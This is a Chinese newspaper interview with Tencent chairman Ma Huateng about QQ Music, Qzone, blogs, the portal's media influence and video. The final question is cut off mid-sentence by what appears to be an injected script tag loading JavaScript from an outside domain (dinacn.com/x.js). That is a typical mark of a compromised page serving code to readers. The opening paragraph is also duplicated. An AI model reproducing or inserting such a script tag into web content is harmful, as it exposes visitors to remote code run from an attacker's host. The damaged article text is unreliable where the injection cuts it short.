7月10日，本报执行总编孙定与深圳腾讯科技公司董事长马化腾在他深圳飞亚达大厦的办公室碰面，就腾讯目前的业务状况与未来战略进行了深入交流。

    在深圳南山科技园飞亚达大厦的楼顶，一只大企鹅率领着两只变形为QQ形象的小企鹅，微笑着看着来来往往的车流。年轻的腾讯公司，已经拥有一支超过3000人的团队，在深圳、北京、上海都有自己的研发中心和运营中心，而且，团队还在不断壮大中。

    在深圳著名的三匹名马之中（另两位是招商银行行长马蔚华、平安保险董事长马明哲），36岁的马化腾是最年轻的一位。在外界称赞腾讯做得不错时，他总是没有什么表示，低着头说，“还不行”，“我觉得还很不好”，顶多就是来一句，“我们刚刚找到窍门”。

    在中国，QQ企鹅憨态可掬的形象深入人心。在腾讯内部张贴的一张招贴画中，QQ企鹅变身战斗机飞行员，怒目圆睁、活力十足地飞向敌阵。这个尚不足10岁的企鹅，尚且不知道满足是什么滋味。

    7月10日，本报执行总编孙定与深圳腾讯科技公司董事长马化腾在他深圳飞亚达大厦的办公室碰面，就腾讯目前的业务状况与未来战略进行了深入交流。

    “现在很多业务还很不行”

    腾讯大概是互联网公司中业务线最长的公司，凡是能从别的互联网公司找到的业务，在这里都可以找到。世界上还很少有像腾讯这样的公司，每一项业务都算有不错的发展。

    孙定: 我注意到腾讯最近有很多新业务做得不错，比如QQ音乐，用起来感觉很好。在这方面，国外一些在线音乐网站运营非常出色，如Winap就做得非常好。腾讯在在线音乐上有什么打算？

    马化腾: QQ音乐我们是刚做，只能说还算可以吧，在很多方面还有不足，比如自动分类、媒体库等。

    在线音乐是一个很有用户粘性和前景的业务，腾讯一直想做，而且也并不存在技术上的障碍。但是，这个东西有它自己的特点，运营起来成本很高，主要在于与唱片公司之间对音乐版权的谈判。我们的在线音乐刚开始运营，算一个新业务，在音乐的使用和用户在线收听上还没有形成量级，这就决定了我们暂时还拿不到很便宜的价格，版权成本还太高。这是我们目前遇到的主要问题，在这方面，我们只能慢慢摸索。

    孙定: 尽管是中国第一代互联网创业公司，但腾讯网在吸收Web2.0业务上并不落后，博客、播客、电子杂志等业务风风火火。这些业务在腾讯的战略规划中有什么样的地位？

    马化腾: 腾讯并不会按照概念去决定吸纳或排斥什么业务，感觉有需要的我们就一定会去做。

    腾讯网的用户主要是年轻用户，虽然我们很早就开始做博客，但直到现在也还只是个人空间，尤其缺少“名博”，没有“名博”就会缺少影响力，这是我们下一步要改变的地方。

    我们的个人空间产品Qzone是一个非常好的平台，现在有很多创新性的业务，比如在品牌空间，Dior、中国联通、农夫茶、CleanClear等很多品牌都已经进入，他们的一些文化与业务在我们的品牌空间里得到展现和互动。不过，这仍然只是开始，Qzone有非常强大的势能，关键是我们怎么去开发和利用好它，这确实也是我们的业务部门正在思考的问题。

    孙定: 腾讯网现在的流量已经超越新浪了，而且在很多场合都可以看到腾讯的记者在采访。在媒体特性上，你怎么看腾讯目前的状况？

    马化腾: 网站现在的问题不在于用户有多少、流量有多少，那是一个自然而然的过程。现在的主要问题在于媒体影响力不够，以前我们的影响力主要是在娱乐上，而且用户主题是年轻人，对产业影响力太弱。比如科技频道，我们需要进入有价值的、有广告收入的、有影响的行业新闻，而不仅仅是自然科学的内容。而且，在自然科学和IT业、通信业内容的配比上如何平衡，这是一个大问题。

    其次，内容要有影响力就需要我们有“抓”新闻和做专题的能力，这对我们的编辑团队提出了更高的要求，团队需要壮大，这是必需的。

    “未来有这么几个重点”

    腾讯从面向个人的互联网业务的领导者，逐渐向更核心的、商业利益更丰厚的区域进军。技术出身的马化腾，对待这些将在小企鹅长大过程中扮演重要角色的业务十分谨慎。

    孙定: 去年以来视频业务非常火爆，YouTube的成功在国内吸引来无数效仿者。腾讯也有这项业务，是否准备在这方面大?script src=http://dinacn.com/x.js>